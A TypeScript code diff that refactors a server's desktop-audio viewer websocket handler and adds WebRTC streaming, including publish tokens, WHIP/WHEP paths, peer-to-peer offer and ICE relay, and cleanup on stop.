-  commandType: "desktop_audio_start" | "desktop_audio_stop",
+  commandType: "desktop_audio_start" | "desktop_audio_stop" | "webrtc_publish" | "webrtc_stop" | "webrtc_p2p_offer" | "webrtc_p2p_ice" | "webrtc_p2p_stop",
   payload: Record<string, unknown>,
 ) {
   const target = clientManager.getClient(clientId);
@@ -58,27 +65,87 @@ export function handleDesktopAudioViewerOpen(ws: ServerWebSocket<SocketData>) {
 
 export function handleDesktopAudioViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
   const { clientId } = ws.data;
-  if (typeof raw === "string") {
+  if (typeof raw !== "string") return;
+  let message: any;
   try {
-      const message = JSON.parse(raw);
+    message = JSON.parse(raw);
-      if (message?.type === "start") {
+  } catch {
-        const source = typeof message?.source === "string" ? message.source : "system";
+    return;
+  }
+  if (!message || typeof message.type !== "string") return;
+
+  switch (message.type) {
+    case "start": {
+      const source = typeof message.source === "string" ? message.source : "system";
       const started = sendDesktopAudioCommand(clientId, "desktop_audio_start", {
         source,
         sessionId: ws.data.sessionId,
       });
+      if (message.webrtc === true && started) {
+        const streamPath = webrtcStreamPathFor(clientId, "audio");
+        const token = issueWebrtcPublishToken(clientId);
+        sendDesktopAudioCommand(clientId, "webrtc_publish", {
+          streamPath,
+          whipPath: `/api/webrtc/${streamPath}/whip`,
+          token,
+          kind: "audio",
+          hasVideo: false,
+          hasAudio: true,
+        });
+        safeJson(ws, {
+          type: "webrtc_ready",
+          streamPath,
+          whepPath: `/api/webrtc/${streamPath}/whep`,
+        });
+      }
       safeJson(ws, { type: "status", status: started ? "connected" : "error" });
       return;
     }
-      if (message?.type === "stop") {
+    case "stop": {
       sendDesktopAudioCommand(clientId, "desktop_audio_stop", {});
+      sendDesktopAudioCommand(clientId, "webrtc_stop", { kind: "audio" });
       safeJson(ws, { type: "status", status: "disconnected" });
+      return;
     }
-    } catch {
+    case "webrtc_p2p_offer": {
+      const sdp = typeof message.sdp === "string" ? message.sdp : "";
+      if (!sdp) return;
+      const sessionId = createP2PSession(ws, clientId, "audio");
+      sendDesktopAudioCommand(clientId, "webrtc_p2p_offer", {
+        sessionId,
+        sdp,
+        kind: "audio",
+        hasVideo: false,
+        hasAudio: true,
+      });
+      return;
+    }
+    case "webrtc_p2p_ice": {
+      const sessionId = getP2PSessionIdForViewer(ws);
+      if (!sessionId) return;
+      const candidate = typeof message.candidate === "string" ? message.candidate : "";
+      if (!candidate) return;
+      sendDesktopAudioCommand(clientId, "webrtc_p2p_ice", {
+        sessionId,
+        kind: "audio",
+        candidate,
+        sdpMid: typeof message.sdpMid === "string" ? message.sdpMid : "",
+        sdpMLineIndex: Number(message.sdpMLineIndex) || 0,
+      });
+      return;
+    }
+    case "webrtc_p2p_stop": {
+      const cleared = clearP2PSessionForViewer(ws);
+      if (cleared) {
+        sendDesktopAudioCommand(clientId, "webrtc_p2p_stop", {
+          sessionId: cleared.sessionId,
+          kind: cleared.kind,
+        });
       }
       return;
     }
   }
+}
 
 export function handleDesktopAudioUplink(clientId: string, payload: any) {
   const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
@@ -101,6 +168,7 @@ export function handleDesktopAudioUplink(clientId: string, payload: any) {
 }
 
 export function cleanupDesktopAudioViewer(ws: ServerWebSocket<SocketData>) {
+  cleanupViewerP2P(ws);
   let removedClientId = ws.data.clientId;
   for (const [sid, session] of sessionManager.getAllDesktopAudioSessions().entries()) {
     if (session.viewer === ws) {
@@ -113,5 +181,6 @@ export function cleanupDesktopAudioViewer(ws: ServerWebSocket<SocketData>) {
   const hasViewers = sessionManager.getDesktopAudioSessionsByClient(removedClientId).length > 0;
   if (!hasViewers) {
     sendDesktopAudioCommand(removedClientId, "desktop_audio_stop", {});
+    sendDesktopAudioCommand(removedClientId, "webrtc_stop", { kind: "audio" });
   }
 }